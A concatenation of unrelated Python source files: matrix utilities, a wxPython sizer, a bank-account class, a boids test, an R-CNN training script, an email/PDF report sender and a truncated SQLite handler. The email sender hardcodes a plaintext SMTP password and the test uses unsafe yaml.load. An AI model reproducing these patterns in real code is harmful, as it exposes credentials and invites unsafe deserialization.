:param:`X` along axis :param:`axis`. Row major order.
:param X: Target matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil,
dia or :class:`numpy.matrix`
:param axis: Specify axis along which to operate. If not specified,
whole matrix :param:`X` is considered.
:type axis: `int`
"""
if sp.isspmatrix(X):
X = X.tocsr()
assert axis == 0 or axis == 1 or axis is None, "Incorrect axis number."
res = [[float('-inf'), 0]
for _ in range(X.shape[1 - axis])] if axis is not None else [float('-inf'), 0]
def _caxis(row, col):
if X[row, col] > res[col][0]:
res[col] = (X[row, col], row)
def _raxis(row, col):
if X[row, col] > res[row][0]:
res[row] = (X[row, col], col)
def _naxis(row, col):
if X[row, col] > res[0]:
res[0] = X[row, col]
res[1] = row * X.shape[0] + col
check = _caxis if axis == 0 else _raxis if axis == 1 else _naxis
[check(row, col) for row in range(X.shape[0])
for col in range(X.shape[1])]
if axis is None:
return res
elif axis == 0:
t = list(zip(*res))
return list(t[0]), np.mat(t[1])
else:
t = list(zip(*res))
return list(t[0]), np.mat(t[1]).T
else:
idxX = np.asmatrix(X).argmax(axis)
if axis is None:
eX = X[idxX // X.shape[1], idxX % X.shape[1]]
elif axis == 0:
eX = [X[idxX[0, idx], col]
for idx, col in zip(range(X.shape[1]), range(X.shape[1]))]
else:
eX = [X[row, idxX[idx, 0]]
for row, idx in zip(range(X.shape[0]), range(X.shape[0]))]
return eX, idxX
def argmin(X, axis=None):
"""
Return tuple (values, indices) of the minimum entries of matrix :param:`X`
along axis :param:`axis`. Row major order.
:param X: Target matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil,
dia or :class:`numpy.matrix`
:param axis: Specify axis along which to operate. If not specified,
whole matrix :param:`X` is considered.
:type axis: `int`
"""
if sp.isspmatrix(X):
X = X.tocsr()
assert axis == 0 or axis == 1 or axis is None, "Incorrect axis number."
res = [[float('inf'), 0]
for _ in range(X.shape[1 - axis])] if axis is not None else [float('inf'), 0]
def _caxis(row, col):
if X[row, col] < res[col][0]:
res[col] = (X[row, col], row)
def _raxis(row, col):
if X[row, col] < res[row][0]:
res[row] = (X[row, col], col)
def _naxis(row, col):
if X[row, col] < res[0]:
res[0] = X[row, col]
res[1] = row * X.shape[0] + col
check = _caxis if axis == 0 else _raxis if axis == 1 else _naxis
[check(row, col) for row in range(X.shape[0])
for col in range(X.shape[1])]
if axis is None:
return res
elif axis == 0:
t = list(zip(*res))
return list(t[0]), np.mat(t[1])
else:
t = list(zip(*res))
return list(t[0]), np.mat(t[1]).T
else:
idxX = np.asmatrix(X).argmin(axis)
if axis is None:
eX = X[idxX // X.shape[1], idxX % X.shape[1]]
elif axis == 0:
eX = [X[idxX[0, idx], col]
for idx, col in zip(range(X.shape[1]), range(X.shape[1]))]
else:
eX = [X[row, idxX[idx, 0]]
for row, idx in zip(range(X.shape[0]), range(X.shape[0]))]
return eX, idxX
def repmat(X, m, n):
"""
Construct matrix consisting of an m-by-n tiling of copies of X.
:param X: The input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil,
dia or :class:`numpy.matrix`
:param m,n: The number of repetitions of :param:`X` along each axis.
:type m,n: `int`
"""
if sp.isspmatrix(X):
return sp.hstack([sp.vstack([X for _ in range(m)], format=X.format) for _ in range(n)], format=X.format)
else:
return np.tile(np.asmatrix(X), (m, n))
def inv_svd(X):
"""
Compute matrix inversion using SVD.
:param X: The input matrix.
:type X: :class:`scipy.sparse` or :class:`numpy.matrix`
"""
U, S, V = svd(X)
if sp.isspmatrix(S):
S_inv = _sop_spmatrix(S, op=lambda x: 1. / x)
else:
S_inv = np.diag(1. / np.diagonal(S))
X_inv = dot(dot(V.T, S_inv), U.T)
return X_inv
def svd(X):
"""
Compute standard SVD on matrix X.
:param X: The input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil,
dia or :class:`numpy.matrix`
"""
if sp.isspmatrix(X):
if X.shape[0] <= X.shape[1]:
U, S, V = _svd_left(X)
else:
U, S, V = _svd_right(X)
else:
U, S, V = nla.svd(np.mat(X), full_matrices=False)
S = np.mat(np.diag(S))
return U, S, V
def _svd_right(X):
"""
Compute standard SVD on matrix X. Scipy.sparse.linalg.svd ARPACK does
not allow computation of rank(X) SVD.
:param X: The input sparse matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
"""
XXt = dot(X, X.T)
if X.shape[0] > 1:
if '0.8' in scipy.version.version:
val, u_vec = sla.eigen_symmetric(XXt, k=X.shape[0] - 1)
else:
# In scipy 0.9.0 ARPACK interface has changed. eigen_symmetric
# routine was renamed to eigsh
# http://docs.scipy.org/doc/scipy/reference/release.0.9.0.html#scipy-sparse
try:
val, u_vec = sla.eigsh(XXt, k=X.shape[0] - 1)
except sla.ArpackNoConvergence as err:
# If eigenvalue iteration fails to converge, partially
# converged results can be accessed
val = err.eigenvalues
u_vec = err.eigenvectors
else:
val, u_vec = nla.eigh(XXt.todense())
# remove insignificant eigenvalues
keep = np.where(val > 1e-7)[0]
u_vec = u_vec[:, keep]
val = val[keep]
# sort eigen vectors (descending)
idx = np.argsort(val)[::-1]
val = val[idx]
# construct U
U = sp.csr_matrix(u_vec[:, idx])
# compute S
tmp_val = np.sqrt(val)
tmp_l = len(idx)
S = sp.spdiags(tmp_val, 0, m=tmp_l, n=tmp_l, format='csr')
# compute V from inverse of S
inv_S = sp.spdiags(1. / tmp_val, 0, m=tmp_l, n=tmp_l, format='csr')
V = U.T * X
V = inv_S * V
return U, S, V
def _svd_left(X):
"""
Compute standard SVD on matrix X. Scipy.sparse.linalg.svd ARPACK does
not allow computation of rank(X) SVD.
:param X: The input sparse matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
"""
XtX = dot(X.T, X)
if X.shape[1] > 1:
if '0.9' in scipy.version.version or '0.10' in scipy.version.version or '0.11' in scipy.version.version:
# In scipy 0.9.0 ARPACK interface has changed. eigen_symmetric
# routine was renamed to eigsh
# http://docs.scipy.org/doc/scipy/reference/release.0.9.0.html#scipy-sparse
try:
val, v_vec = sla.eigsh(XtX, k=X.shape[1] - 1)
except sla.ArpackNoConvergence as err:
# If eigenvalue iteration fails to converge, partially
# converged results can be accessed
val = err.eigenvalues
v_vec = err.eigenvectors
else:
val, v_vec = sla.eigen_symmetric(XtX, k=X.shape[1] - 1)
else:
val, v_vec = nla.eigh(XtX.todense())
# remove insignificant eigenvalues
keep = np.where(val > 1e-7)[0]
v_vec = v_vec[:, keep]
val = val[keep]
# sort eigen vectors (descending)
idx = np.argsort(val)[::-1]
val = val[idx]
# construct V
V = sp.csr_matrix(v_vec[:, idx])
# compute S
tmp_val = np.sqrt(val)
tmp_l = len(idx)
S = sp.spdiags(tmp_val, 0, m=tmp_l, n=tmp_l, format='csr')
# compute U from inverse of S
inv_S = sp.spdiags(1. / tmp_val, 0, m=tmp_l, n=tmp_l, format='csr')
U = X * V * inv_S
V = V.T
return U, S, V
def dot(X, Y):
"""
Compute dot product of matrices :param:`X` and :param:`Y`.
:param X: First input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param Y: Second input matrix.
:type Y: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
"""
if sp.isspmatrix(X) and sp.isspmatrix(Y):
return X * Y
elif sp.isspmatrix(X) or sp.isspmatrix(Y):
# avoid dense dot product with mixed factors
return sp.csr_matrix(X) * sp.csr_matrix(Y)
else:
return np.asmatrix(X) * np.asmatrix(Y)
def multiply(X, Y):
"""
Compute element-wise multiplication of matrices :param:`X` and :param:`Y`.
:param X: First input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param Y: Second input matrix.
:type Y: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
"""
if sp.isspmatrix(X) and sp.isspmatrix(Y):
return X.multiply(Y)
elif sp.isspmatrix(X) or sp.isspmatrix(Y):
return _op_spmatrix(X, Y, np.multiply)
else:
with warnings.catch_warnings():
warnings.simplefilter('ignore')
return np.multiply(np.mat(X), np.mat(Y))
def power(X, s):
"""
Compute matrix power of matrix :param:`X` for power :param:`s`.
:param X: Input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param s: Power.
:type s: `int`
"""
if sp.isspmatrix(X):
Y = X.tocsr()
eps = np.finfo(Y.data.dtype).eps if not 'int' in str(
Y.data.dtype) else 0
return sp.csr_matrix((np.power(Y.data + eps, s), Y.indices, Y.indptr), Y.shape)
else:
eps = np.finfo(X.dtype).eps if not 'int' in str(X.dtype) else 0
return np.power(X + eps, s)
def sop(X, s=None, op=None):
"""
Compute scalar element wise operation of matrix :param:`X` and
scalar :param:`s`.
:param X: The input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param s: Input scalar. If not specified, element wise operation of input
matrix is computed.
:type s: `float`
:param op: Operation to be performed.
:type op: `func`
"""
if sp.isspmatrix(X):
return _sop_spmatrix(X, s, op)
else:
return _sop_matrix(X, s, op)
def _sop_spmatrix(X, s=None, op=None):
"""
Compute sparse scalar element wise operation of matrix X and scalar :param:`s`.
:param X: The input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
:param s: Input scalar. If not specified, element wise operation of input
matrix is computed.
:type s: `float`
:param op: Operation to be performed.
:type op: `func`
"""
R = X.copy().tocsr()
eps = np.finfo(R.dtype).eps if not 'int' in str(R.dtype) else 0
now = 0
for row in range(R.shape[0]):
upto = R.indptr[row + 1]
while now < upto:
R.data[now] = op(R.data[now] + eps, s) if s is not None else op(
R.data[now] + eps)
now += 1
return R
def _sop_matrix(X, s=None, op=None):
"""
Compute scalar element wise operation of matrix :param:`X` and scalar :param:`s`.
:param X: The input matrix.
:type X: :class:`numpy.matrix`
:param s: Input scalar. If not specified, element wise operation of input
matrix is computed.
:type s: `float`
:param op: Operation to be performed.
:type op: `func`
"""
eps = np.finfo(X.dtype).eps if not 'int' in str(X.dtype) else 0
return op(X + eps, s) if s is not None else op(X + eps)
def elop(X, Y, op):
"""
Compute element-wise operation of matrix :param:`X` and matrix :param:`Y`.
:param X: First input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param Y: Second input matrix.
:type Y: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param op: Operation to be performed.
:type op: `func`
"""
try:
zp1 = op(0, 1) if sp.isspmatrix(X) else op(1, 0)
zp2 = op(0, 0)
zp = zp1 != 0 or zp2 != 0
except:
zp = 0
if sp.isspmatrix(X) or sp.isspmatrix(Y):
return _op_spmatrix(X, Y, op) if not zp else _op_matrix(X, Y, op)
else:
try:
X[X == 0] = np.finfo(X.dtype).eps
Y[Y == 0] = np.finfo(Y.dtype).eps
except ValueError:
return op(np.mat(X), np.mat(Y))
return op(np.mat(X), np.mat(Y))
def _op_spmatrix(X, Y, op):
"""
Compute sparse element-wise operation for operations preserving zeros.
:param X: First input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param Y: Second input matrix.
:type Y: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param op: Operation to be performed.
:type op: `func`
"""
# distinction as op is not necessarily commutative
return __op_spmatrix(X, Y, op) if sp.isspmatrix(X) else __op_spmatrix(Y, X, op)
def __op_spmatrix(X, Y, op):
"""
Compute sparse element-wise operation for operations preserving zeros.
:param X: First input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
:param Y: Second input matrix.
:type Y: :class:`numpy.matrix`
:param op: Operation to be performed.
:type op: `func`
"""
assert X.shape == Y.shape, "Matrices are not aligned."
eps = np.finfo(Y.dtype).eps if not 'int' in str(Y.dtype) else 0
Xx = X.tocsr()
r, c = Xx.nonzero()
R = op(Xx[r, c], Y[r, c] + eps)
R = np.array(R)
assert 1 in R.shape, "Data matrix in sparse should be rank-1."
R = R[0, :] if R.shape[0] == 1 else R[:, 0]
return sp.csr_matrix((R, Xx.indices, Xx.indptr), Xx.shape)
def _op_matrix(X, Y, op):
"""
Compute sparse element-wise operation for operations not preserving zeros.
:param X: First input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param Y: Second input matrix.
:type Y: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param op: Operation to be performed.
:type op: `func`
"""
# operation is not necessarily commutative
assert X.shape == Y.shape, "Matrices are not aligned."
eps = np.finfo(Y.dtype).eps if not 'int' in str(Y.dtype) else 0
return np.mat([[op(X[i, j], Y[i, j] + eps) for j in range(X.shape[1])] for i in range(X.shape[0])])
def inf_norm(X):
"""
Infinity norm of a matrix (maximum absolute row sum).
:param X: Input matrix.
:type X: :class:`scipy.sparse.csr_matrix`, :class:`scipy.sparse.csc_matrix`
or :class:`numpy.matrix`
"""
if sp.isspmatrix_csr(X) or sp.isspmatrix_csc(X):
# avoid copying index and ptr arrays
abs_X = X.__class__(
(abs(X.data), X.indices, X.indptr), shape=X.shape)
return (abs_X * np.ones((X.shape[1]), dtype=X.dtype)).max()
elif sp.isspmatrix(X):
return (abs(X) * np.ones((X.shape[1]), dtype=X.dtype)).max()
else:
return nla.norm(np.asmatrix(X), float('inf'))
def norm(X, p="fro"):
"""
Compute entry-wise norms (! not induced/operator norms).
:param X: The input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param p: Order of the norm.
:type p: `str` or `float`
"""
assert 1 in X.shape or p != 2, "Computing entry-wise norms only."
if sp.isspmatrix(X):
fro = lambda X: sum(abs(x) ** 2 for x in X.data) ** (1. / 2)
inf = lambda X: abs(X).sum(
axis=1).max() if 1 not in X.shape else abs(X).max()
m_inf = lambda X: abs(X).sum(
axis=1).min() if 1 not in X.shape else abs(X).min()
one = lambda X: abs(X).sum(axis=0).max() if 1 not in X.shape else sum(
abs(x) ** p for x in X.data) ** (1. / p)
m_one = lambda X: abs(X).sum(axis=0).min() if 1 not in X.shape else sum(
abs(x) ** p for x in X.data) ** (1. / p)
v = {
"fro": fro,
"inf": inf,
"-inf": m_inf,
1: one,
-1: m_one,
}.get(p)
return v(X) if v != None else sum(abs(x) ** p for x in X.data) ** (1. / p)
else:
return nla.norm(np.mat(X), p)
def vstack(X, format=None, dtype=None):
"""
Stack sparse or dense matrices vertically (row wise).
:param X: Sequence of matrices with compatible shapes.
:type X: sequence of :class:`scipy.sparse` of format csr, csc, coo, bsr,
dok, lil, dia or :class:`numpy.matrix`
"""
if len([0 for x in X if not sp.isspmatrix(x)]) == 0:
# scipy.sparse bug
# return sp.vstack(X, format = X[0].getformat() if format is None else
# format, dtype = X[0].dtype if dtype is None else dtype)
return sp.vstack(X)
else:
return np.vstack(X)
def hstack(X, format=None, dtype=None):
"""
Stack sparse or dense matrices horizontally (column wise).
:param X: Sequence of matrices with compatible shapes.
:type X: sequence of :class:`scipy.sparse` of format csr, csc, coo, bsr,
dok, lil, dia or :class:`numpy.matrix`
"""
if len([0 for x in X if not sp.isspmatrix(x)]) == 0:
# scipy.sparse bug
# return sp.hstack(X, format = X[0].getformat() if format is None else
# format, dtype = X[0].dtyoe if dtype is None else dtype)
return sp.hstack(X)
else:
return np.hstack(X)
def max(X, s):
"""
Compute element-wise max(x,s) assignment for sparse or dense matrix.
:param X: The input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param s: the input scalar.
:type s: `float`
"""
if sp.isspmatrix(X):
Y = X.tocsr()
DD = Y.data.copy()
DD = np.maximum(DD, s)
return sp.csr_matrix((DD, Y.indices, Y.indptr), Y.shape)
else:
return np.maximum(X, s)
def min(X, s):
"""
Compute element-wise min(x,s) assignment for sparse or dense matrix.
:param X: The input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param s: the input scalar.
:type s: `float`
"""
if sp.isspmatrix(X):
Y = X.tocsr()
DD = Y.data.copy()
DD = np.minimum(DD, s)
return sp.csr_matrix((DD, Y.indices, Y.indptr), Y.shape)
else:
return np.minimum(X, s)
def count(X, s):
"""
Return the number of occurrences of element :param:`s` in sparse or
dense matrix X.
:param X: The input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
:param s: the input scalar.
:type s: `float`
"""
if sp.isspmatrix(X):
return sum([1 for x in X.data if s == x])
else:
return sum([1 for r in X.tolist() for x in r if s == x])
def nz_data(X):
"""
Return list of nonzero elements from X (! data, not indices).
:param X: The input matrix.
:type X: :class:`scipy.sparse` of format csr, csc, coo, bsr, dok, lil, dia
or :class:`numpy.matrix`
"""
if sp.isspmatrix(X):
return X.data.tolist()
else:
return [x for r in X.tolist() for x in r if x != 0]
def choose(n, k):
"""
A fast way to calculate binomial coefficients C(n, k). It is 10 times faster
than scipy.mis.comb for exact answers.
:param n: Index of binomial coefficient.
:type n: `int`
:param k: Index of binomial coefficient.
:type k: `int`
"""
if 0 <= k <= n:
ntok = 1
ktok = 1
for t in range(1, min(k, n - k) + 1):
ntok *= n
ktok *= t
n -= 1
return ntok // ktok
else:
return 0
| python |
import wx
class SimpleSizer(wx.BoxSizer):
def __init__(self, first, second, gap=0, leftHeavy=False, rightHeavy=False, topHeavy=False, bottomHeavy=False):
self.first = first
self.second = second
horizontal = leftHeavy or rightHeavy
vertical = topHeavy or bottomHeavy
assert horizontal or vertical
assert not (horizontal and vertical)
firstHeavy = leftHeavy or topHeavy
secondHeavy = rightHeavy or bottomHeavy
wx.BoxSizer.__init__(self, wx.VERTICAL if vertical else wx.HORIZONTAL)
if first: self.Add(first, 1 if firstHeavy else 0, wx.EXPAND)
if gap: self.AddSpacer(gap)
if second: self.Add(second, 1 if secondHeavy else 0, wx.EXPAND)
@classmethod
def new(cls, code, *aa, **kk):
assert 3 == len(code)
# "heaviness" : Left, Right, Top, Bottom,
# Vertical (Top + Bottom), or
# Horizontal (Left + Right)
assert code[0] in "LRTBVH"
# "visibility": visible or hidden
assert code[1] in "VH" # 1st visible or hidden
assert code[2] in "VH" # 2nd visible or hidden
s = cls(*aa,
leftHeavy=(code[0] in "LH"),
rightHeavy=(code[0] in "RH"),
topHeavy=(code[0] in "TV"),
bottomHeavy=(code[0] in "BV"),
**kk)
if not "V" == code[1]: s.SetFirstVisible(False)
if not "V" == code[2]: s.SetSecondVisible(False)
return s
def Install(self, parent):
parent.SetSizer(self)
def GetFirst(self):
# return self.GetItem(0).GetWindow()
return self.first
def GetSecond(self):
# return self.GetItem(1).GetWindow()
return self.second
def IsFirstVisible(self):
return self.IsShown(0)
def IsSecondVisible(self):
return self.IsShown(1)
def SetFirstVisible(self, on=True, recursive=False, refresh=True):
if on: self.Show(0, recursive=recursive)
else: self.Hide(0, recursive=recursive)
if on: self.GetFirst().SetFocus()
if refresh: self.Layout()
def SetSecondVisible(self, on=True, recursive=False, refresh=True):
if on: self.Show(1, recursive=recursive)
else: self.Hide(1, recursive=recursive)
if on: self.GetSecond().SetFocus()
if refresh: self.Layout()
def ToggleFirstVisible(self, recursive=False, refresh=True):
self.SetFirstVisible(not self.IsFirstVisible(), recursive, refresh)
def ToggleSecondVisible(self, recursive=False, refresh=True):
self.SetSecondVisible(not self.IsSecondVisible(), recursive, refresh)
def ToggleVisible(self, recursive=False):
self.SetFirstVisible(not self.IsFirstVisible(), recursive, False)
self.SetSecondVisible(not self.IsSecondVisible(), recursive, False)
self.Layout()
| python |
from bank_account import BankAccount
class User(object):
def __init__(self, username, email_address):
self.name = username # and we use the values passed in to set the name attribute
self.email = email_address # and the email attribute
self.accounts = {
'default': BankAccount(int_rate=0.02, balance=0)
}
# adding the deposit method
def make_deposit(self, amount, account='default'): # takes an argument that is the amount of the deposit
self.accounts[account].deposit(amount) # the specific user's account increases by the amount of the value received
return self
def make_withdrawal(self, amount, account='default'): # have this method decrease the user's balance by the amount specified
self.accounts[account].withdraw(amount)
return self
def display_user_balance(self, account='default'): # have this method print the user's name and account balance to the terminal
# eg. "User: Guido van Rossum, Balance: $150
print(f'User: {self.name}')
self.accounts[account].display_account_info()
#BONUS:
def transfer_money(self, other_user, amount): # have this method decrease the user's balance by the amount and add that amount to other other_user's balance
self.make_withdrawal(amount)
other_user.make_deposit(amount)
return self
# SENSEI BONUS
def add_account(self, name, account):
self.accounts[name] = account
return self
if __name__ == '__main__':
from faker import Faker
faker = Faker()
users = []
for _ in range(3):
profile = faker.simple_profile()
users.append(User(profile['username'], profile['mail']))
users[0].make_deposit(100).make_deposit(200).make_deposit(300).make_withdrawal(400).display_user_balance()
users[1].make_deposit(400).make_deposit(300).make_withdrawal(200).make_withdrawal(100).display_user_balance()
users[2].make_deposit(400).make_withdrawal(100).make_withdrawal(100).make_withdrawal(100).display_user_balance()
users[0].transfer_money(users[1], 100).display_user_balance()
users[1].display_user_balance()
| python |
from boids.code.boids import Boids
import pytest
from os.path import dirname, split, join
import yaml
import numpy as np
config = yaml.load(open(split(dirname(__file__))[0] + '/code/config.yaml'))
def test_bad_boids_regression():
'''
test compares a single position update of the refactored code
to the initial bad boids implementation.
'''
regression_data = yaml.load(open(join(dirname(__file__),'fixture.yaml')))
flock = Boids(size = 50)
flock.positions = np.asarray(regression_data["before"][0:2])
flock.velocities = np.asarray(regression_data["before"][2:])
flock.update(config['params'])
# check that positions match
assert np.all(abs(np.asarray(regression_data["after"][0:2]) - flock.positions) < 1e-1)
# check that velocities match
assert np.all(abs(np.asarray(regression_data["after"][2:]) - flock.velocities) < 1e-1)
| python |
# -*- coding: utf-8 -*-
"""Top-level package for appliapps."""
__author__ = """Lars Malmstroem"""
__email__ = '[email protected]'
__version__ = '0.1.0'
| python |
import socket
from datetime import datetime
import os.path as osp
import huepy as hue
import numpy as np
import torch
from torch.backends import cudnn
from torch.utils.tensorboard import SummaryWriter
import sys
sys.path.append('./')
from configs import args_faster_rcnn_hoim
from lib.datasets import get_data_loader
from lib.model.faster_rcnn_hoim import get_hoim_model
from lib.utils.misc import Nestedspace, resume_from_checkpoint, \
get_optimizer, get_lr_scheduler
from lib.utils.distributed import init_distributed_mode, is_main_process
from lib.utils.trainer import get_trainer
from lib.utils.serialization import mkdir_if_missing
def main(args):
if args.distributed:
init_distributed_mode(args)
device = torch.device(args.device)
cudnn.benchmark = False
np.random.seed(args.seed)
torch.manual_seed(args.seed)
if is_main_process():
current_time = datetime.now().strftime('%b%d_%H-%M-%S')
args.path = osp.join(
args.path, current_time + '_' + socket.gethostname())
mkdir_if_missing(args.path)
print(hue.info(hue.bold(hue.lightgreen(
'Working directory: {}'.format(args.path)))))
if args.train.use_tfboard:
tfboard = SummaryWriter(log_dir=args.path)
args.export_to_json(osp.join(args.path, 'args.json'))
else:
tfboard = None
train_loader = get_data_loader(args, train=True)
model = get_hoim_model(pretrained_backbone=True,
num_features=args.num_features, num_pids=args.num_pids,
num_cq_size=args.num_cq_size, num_bg_size=args.num_bg_size,
oim_momentum=args.train.oim_momentum, oim_scalar=args.oim_scalar,
min_size=args.train.min_size, max_size=args.train.max_size,
anchor_scales=(args.anchor_scales,), anchor_ratios=(
args.anchor_ratios,),
# RPN parameters
rpn_pre_nms_top_n_train=args.train.rpn_pre_nms_top_n,
rpn_post_nms_top_n_train=args.train.rpn_post_nms_top_n,
# rpn_pre_nms_top_n_test=args.test.rpn_pre_nms_top_n,
# rpn_post_nms_top_n_test=args.test.rpn_post_nms_top_n,
rpn_nms_thresh=args.train.rpn_nms_thresh,
rpn_fg_iou_thresh=args.train.rpn_positive_overlap,
rpn_bg_iou_thresh=args.train.rpn_negative_overlap,
rpn_batch_size_per_image=args.train.rpn_batch_size,
rpn_positive_fraction=args.train.rpn_fg_fraction,
# Box parameters
box_score_thresh=args.train.fg_thresh,
# box_nms_thresh=args.test.nms, # inference only
box_detections_per_img=args.train.rpn_post_nms_top_n, # use all
box_fg_iou_thresh=args.train.bg_thresh_hi,
box_bg_iou_thresh=args.train.bg_thresh_lo,
box_batch_size_per_image=args.train.rcnn_batch_size,
box_positive_fraction=args.train.fg_fraction, # for proposals
bbox_reg_weights=args.train.box_regression_weights,
)
model.to(device)
optimizer = get_optimizer(args, model)
lr_scheduler = get_lr_scheduler(args, optimizer)
if args.apex:
from apex import amp
model, optimizer = amp.initialize(model, optimizer, opt_level='O1')
model_without_ddp = model
if args.distributed:
if args.apex:
from apex.parallel import DistributedDataParallel, convert_syncbn_model
model = convert_syncbn_model(model)
model = DistributedDataParallel(model)
else:
model = torch.nn.SyncBatchNorm.convert_sync_batchnorm(model)
model = torch.nn.parallel.DistributedDataParallel(
model, device_ids=[args.local_rank], find_unused_parameters=True)
model_without_ddp = model.module
if args.resume is not None:
args, model_without_ddp, optimizer, lr_scheduler = resume_from_checkpoint(
args, model_without_ddp, optimizer, lr_scheduler)
trainer = get_trainer(args, model, model_without_ddp, train_loader,
optimizer, lr_scheduler, device, tfboard)
trainer.run(train_loader, max_epochs=args.train.epochs)
if is_main_process():
tfboard.close()
if __name__ == '__main__':
arg_parser = args_faster_rcnn_hoim()
args = arg_parser.parse_args(namespace=Nestedspace())
main(args)
| python |
import smtplib
import os
import mimetypes
from email import encoders
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from fpdf import FPDF
import time
#Функция отправки сообщения
def send_email(addr_to, msg_subj, msg_text, files):
addr_from = "[email protected]" # Отправитель
password = "dishiestduke" # Пароль
msg = MIMEMultipart() # Создаем сообщение
msg['From'] = addr_from
msg['To'] = addr_to
msg['Subject'] = msg_subj
body = msg_text # Текст сообщения
msg.attach(MIMEText(body, 'plain')) # Добавляем в сообщение текст
process_attachement(msg, files)
server=smtplib.SMTP('smtp.mail.ru',25) # это не трогать!!! работает ток с mail.ru
server.starttls()
server.login(addr_from,password)
server.send_message(msg)
server.quit()
# Функция по обработке списка, добавляемых к сообщению файлов
def process_attachement(msg, files):
for f in files:
if os.path.isfile(f):
attach_file(msg,f)
elif os.path.exists(f):
dir = os.listdir(f)
for file in dir:
attach_file(msg,f+"/"+file)
# Функция по добавлению конкретного файла к сообщению
def attach_file(msg, filepath):
filename = os.path.basename(filepath)
ctype, encoding = mimetypes.guess_type(filepath)
if ctype is None or encoding is not None:
ctype = 'application/octet-stream'
maintype, subtype = ctype.split('/', 1)
with open(filepath, 'rb') as fp:
file = MIMEBase(maintype, subtype)
file.set_payload(fp.read())
fp.close()
encoders.encode_base64(file)
file.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(file)
def pdf_write(image):
pdf = FPDF()
pdf.add_page()
pdf.set_font("Arial", size=12)
center="Violation report"
pdf.cell(200, 10, txt=center, ln=1, align="C")
pdf.image(image, x=10, y=20, w=100)
pdf.ln(85) # ниже на 85
name = 'Lack of a helmet or building vest'
pdf.cell(200, 10, txt=name, ln=1)
vremy=str(time.asctime())
pdf.cell(200,10,txt=vremy,ln=1)
surname='Responsible: Sidorov P.A.'
pdf.cell(200,10,txt=surname,ln=1)
city='Nizhny Novgorod,Minin Street'
pdf.cell(200,10,txt=city,ln=1)
pdf.set_line_width(1)
pdf.set_draw_color(0, 0, 0)
pdf.line(20, 115, 100, 115)
pdf.output("Output/pdf/Accountability.pdf")
| python |
import os
from typing import Union
import sqlite3
from sqlite3 import Error
from coordinates import Coordinates
class SqlHandler:
def __init__(self):
self._database = "data.db"
self._connection = None
self._cursor = None
self.connected = False
def _create_new_database(self) -> None:
try:
self._connect_to_sqlite3_database()
self._create_cities_table()
self._create_distances_table()
self._connection.commit()
self._connection.close()
except Error as error:
raise error
def _create_cities_table(self) -> None:
sql_table_cities_create = """
CREATE TABLE cities (
id integer PRIMARY KEY,
city text NOT NULL,
longitude REAL,
latitude REAL
)
"""
self._cursor.execute(sql_table_cities_create)
def _create_distances_table(self) -> None:
sql_table_distances_create = """
CREATE TABLE distances (
city_1_id integer,
city_2_id integer,
distance REAL,
duration REAL
)
"""
self._cursor.execute(sql_table_distances_create)
def _get_city_id(self, city: str) -> int:
sql_string = "SELECT id FROM cities WHERE city = ?"
self._cursor.execute(sql_string, (city,))
answer = self._cursor.fetchone()
if answer is None:
raise ValueError('City not known.')
return answer[0]
def _connect_to_sqlite3_database(self) -> None:
try:
self._connection = sqlite3.connect(self._database)
self._cursor = self._connection.cursor()
self.connected = True
except Error as error:
raise error
def connect(self) -> None:
if self.connected:
return
if not os.path.isfile(self._database):
self._create_new_database()
self._connect_to_sqlite3_database()
def close(self) -> None:
if self.connected:
self._connection.close()
self.connected = False
def _connect_if_not_connected(self):
if not self.connected:
self.connect()
def get_coordinates_from_city(self, city: str) -> Coordinates:
self._connect_if_not_connected()
sql_string = "SELECT longitude, latitude FROM cities WHERE city = ?"
self._cursor.execute(sql_string, (city,))
answer = self._cursor.fetchone()
coordinates = Coordinates()
if answer:
coordinates.longitude = answer[0]
coordinates.latitude = answer[1]
return coordinates
def set_coordinates_from_city(self, city: str, longitude: int, latitude: int) -> None:
self._connect_if_not_connected()
sql_string = "INSERT INTO cities (city, longitude, latitude) VALUES (?, ?, ?)"
self._cursor.execute(sql_string, (city, longitude, latitude,))
self._connection.commit()
def set_distance_duration(self, city_1: str, city_2: str, distance: float, duration: float) -> None:
